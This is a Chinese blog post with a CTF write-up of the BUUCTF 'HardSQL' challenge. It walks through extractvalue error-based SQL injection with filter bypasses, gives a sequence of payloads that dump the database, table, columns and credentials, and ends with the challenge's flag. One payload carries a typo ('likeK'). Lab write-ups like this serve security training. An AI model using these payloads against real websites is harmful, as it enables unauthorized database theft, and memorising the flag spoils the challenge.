0
点赞
收藏
分享

微信扫一扫

[极客大挑战 2019]HardSQL 1

梅梅的时光 2022-04-24 阅读 84
web安全

题目[极客大挑战 2019]HardSQL 1

 

题目来源: https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]HardSQL

分析过程:进入靶场,有如下页面

 

通过对该输入点的测试,发现联合注入、堆叠注入都无法使用,考虑使用报错注入

先使用XPATH语法错误中的extractvalue函数进行尝试
extractvalue函数
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串

第二个参数要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

爆数据库
据此,我们构造payload:1'^extractvalue(1,concat(0x3D,(select(group_concat(database())))))#,成功获得回显

 

爆表名
payload:1'^extractvalue(1,concat(0x3D,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=('geek'))))#,出现报错

 

经仔细检查,发现可能是 = 被过滤导致,使用like代替 = 使用

有payload:1'^extractvalue(1,concat(0x3D,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
成功获得表名H4rDsq1

 

 

爆字段
payload:1'^extractvalue(1,concat(0x3D,(select(group_concat(column_name))from(information_schema.columns)where(table_name)likeK('H4rDsq1'))))#
成功获得3个字段 id,username,password

 

爆数据
payload:1'^extractvalue(1,concat(0x3D,(select(group_concat(id,username,password))from(H4rDsq1))))#
成功获得部分flag

 

经查询得知,extractvalue最多返回32个字符,因此借助right函数打印剩余flag
payload:1'^extractvalue(1,concat(0x3D,(select(right(password,30))from(H4rDsq1))))#
成功获得后面部分的flag

 

将前后两部分flag拼接获得完整flag:flag{5f5f3074-611b-4253-98e9-08f99eef956b}

举报

相关推荐

0 条评论